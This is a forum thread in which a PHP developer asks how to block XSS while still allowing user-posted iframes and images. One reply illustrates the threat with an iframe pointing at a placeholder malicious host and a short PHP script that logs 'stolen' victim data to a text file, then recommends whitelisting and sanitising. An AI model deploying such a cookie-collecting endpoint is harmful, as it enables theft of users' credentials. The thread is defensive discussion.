How can I prevent a XSS attack but allow user to post iframe and img?

My page is php based but I allow users to submit text and have allowed only iframes and imgs with strip_tag

How do I prevent a user from launching an xss attack?

Recommended Answers

All 4 Replies

You Need a Security Encoding Library.Writing these encoders is not tremendously difficult, but there are quite a few hidden pitfalls.


do you have any free examples?

This can be probably prevented, but I don't really find any 100% eradication solution for an iframe. For example, if you are allowing your user to do this

<iframe src="http://maliciousSitDotCom/hackTheHack.php"></iframe> 

and in the remote server the hackTheHack.php contain this


the mailicious site can then steal the credentials of the unsuspecting users on site. They are not aware that their credentials was stolen by the remote script called getVictimCookie

The getVictimCookie.php, can be written as simple as


$file = 'stolenCookie.txt';

$sweetCookies = file_get_contents($file);

$sweetCookies .= "New Victim\n";

$sweetCookies .= $_GET['email'] ."\n";

file_put_contents($file, $sweetCookies);

The remote server hacks can pretend to be your unsuspecting user, using the stolen credentials for whatever the cookies would reveal.

Last thoughts, don't even use it. If they have to add content on your site, let them add it as a link. That should free you from all responsibilities and conscience overload.

If you really want to have their page included on your site, then you can use an htmlDom parser, parse the page, and then clean it up really good, create a fresh copy of the remote page on your server ( the clean one), and then deliver it to your own iframe. At least, you will have a full control on what acceptable tags are allowed..

Thanks veedeoo,

You pointed me in the right direction, I found some posts talking about making a whitelist array and then parsing the user submitted material and verifiying the src domain is in the whitelist array.

How would you go about making sure img tags are secure? I don't think whitelisting any websites or whitelisting filetypes would be the answer here. Or am I overthinking that and that's exactly what I need?

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.